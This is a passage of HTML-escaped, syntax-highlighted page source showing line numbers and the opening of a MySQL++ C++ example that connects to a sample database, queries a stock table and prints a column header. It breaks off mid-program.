&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;6&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#6&#34;&gt; 6&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;7&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#7&#34;&gt; 7&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;8&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#8&#34;&gt; 8&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;9&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#9&#34;&gt; 9&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;10&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#10&#34;&gt;10&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;11&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#11&#34;&gt;11&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;12&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#12&#34;&gt;12&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;13&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#13&#34;&gt;13&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;14&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#14&#34;&gt;14&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;15&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#15&#34;&gt;15&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;16&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#16&#34;&gt;16&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;17&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#17&#34;&gt;17&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;18&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#18&#34;&gt;18&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;19&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#19&#34;&gt;19&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;20&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#20&#34;&gt;20&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;21&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#21&#34;&gt;21&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;22&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#22&#34;&gt;22&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;23&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#23&#34;&gt;23&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;24&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#24&#34;&gt;24&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;25&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#25&#34;&gt;25&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;26&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#26&#34;&gt;26&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;27&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#27&#34;&gt;27&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;28&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#28&#34;&gt;28&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;29&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#29&#34;&gt;29&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;30&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#30&#34;&gt;30&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;31&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#31&#34;&gt;31&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;32&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#32&#34;&gt;32&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;33&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#33&#34;&gt;33&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;34&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#34&#34;&gt;34&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;35&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#35&#34;&gt;35&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;36&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#36&#34;&gt;36&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;37&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#37&#34;&gt;37&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;38&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#38&#34;&gt;38&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;39&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#39&#34;&gt;39&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;40&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#40&#34;&gt;40&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;41&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#41&#34;&gt;41&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;42&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#42&#34;&gt;42&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;43&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#43&#34;&gt;43&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;44&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#44&#34;&gt;44&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;45&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#45&#34;&gt;45&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;46&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#46&#34;&gt;46&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;47&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#47&#34;&gt;47&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;48&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#48&#34;&gt;48&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;49&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#49&#34;&gt;49&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;50&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#50&#34;&gt;50&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;51&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#51&#34;&gt;51&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;52&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#52&#34;&gt;52&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;53&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#53&#34;&gt;53&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;54&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#54&#34;&gt;54&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;55&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#55&#34;&gt;55&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;56&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#56&#34;&gt;56&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;57&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#57&#34;&gt;57&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-cpp&#34; data-lang=&#34;cpp&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#include&lt;/span&gt; &lt;span style=&#34;color:#6e738d;font-weight:bold;font-style:italic&#34;&gt;&amp;#34;cmdline.h&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#include&lt;/span&gt; &lt;span style=&#34;color:#6e738d;font-weight:bold;font-style:italic&#34;&gt;&amp;#34;printdata.h&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#include&lt;/span&gt; &lt;span style=&#34;color:#6e738d;font-weight:bold;font-style:italic&#34;&gt;&amp;lt;mysql++.h&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#include&lt;/span&gt; &lt;span style=&#34;color:#6e738d;font-weight:bold;font-style:italic&#34;&gt;&amp;lt;iostream&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#include&lt;/span&gt; &lt;span style=&#34;color:#6e738d;font-weight:bold;font-style:italic&#34;&gt;&amp;lt;iomanip&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;using&lt;/span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;namespace&lt;/span&gt; std;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;int&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;main&lt;/span&gt;(&lt;span style=&#34;color:#ed8796&#34;&gt;int&lt;/span&gt; argc, &lt;span style=&#34;color:#ed8796&#34;&gt;char&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt;argv[])
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// Get database access parameters from command line
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;const&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;char&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt; db &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;, &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt;server &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;, &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt;user &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;, &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt;pass &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;!&lt;/span&gt;parse_command_line(argc, argv, &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;amp;&lt;/span&gt;db, &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;amp;&lt;/span&gt;server, &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;amp;&lt;/span&gt;user, &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;amp;&lt;/span&gt;pass)) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// Connect to the sample database.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;    mysqlpp&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;::&lt;/span&gt;Connection conn(&lt;span style=&#34;color:#91d7e3&#34;&gt;false&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; (conn.connect(db, server, user, pass)) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// Retrieve the sample stock table set up by resetdb
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;        mysqlpp&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;::&lt;/span&gt;Query query &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; conn.query(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;select * from stock&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        mysqlpp&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;::&lt;/span&gt;StoreQueryResult res &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; query.store();
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// Display results
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; (res) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// Display header
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;            cout.setf(ios&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;::&lt;/span&gt;left);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            cout &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;lt;&amp;lt;&lt;/span&gt; setw(&lt;span style=&#34;color:#f5a97f&#34;&gt;31&lt;/span&gt;) &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Item&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;lt;&amp;lt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    setw(&lt;span style=&#34;color:#f5a97f&#34;&gt;10&lt;/span&gt;) &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Num&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;lt;&amp;lt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    setw(&lt;span style=&#34;color:#f5a97f&#34;&gt;10&lt;/span&gt;) &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Weight&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;lt;&amp;lt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    setw(&lt;span style=&#34;color:#f5a97f&#34;&gt;10&lt;/span&gt;) &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Price&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;lt;&amp;lt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Date&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;lt;&amp;lt;&lt;/span&gt; endl &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;lt;&amp;lt;&lt;/span&gt; endl;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// Get each row in result set, and print its contents
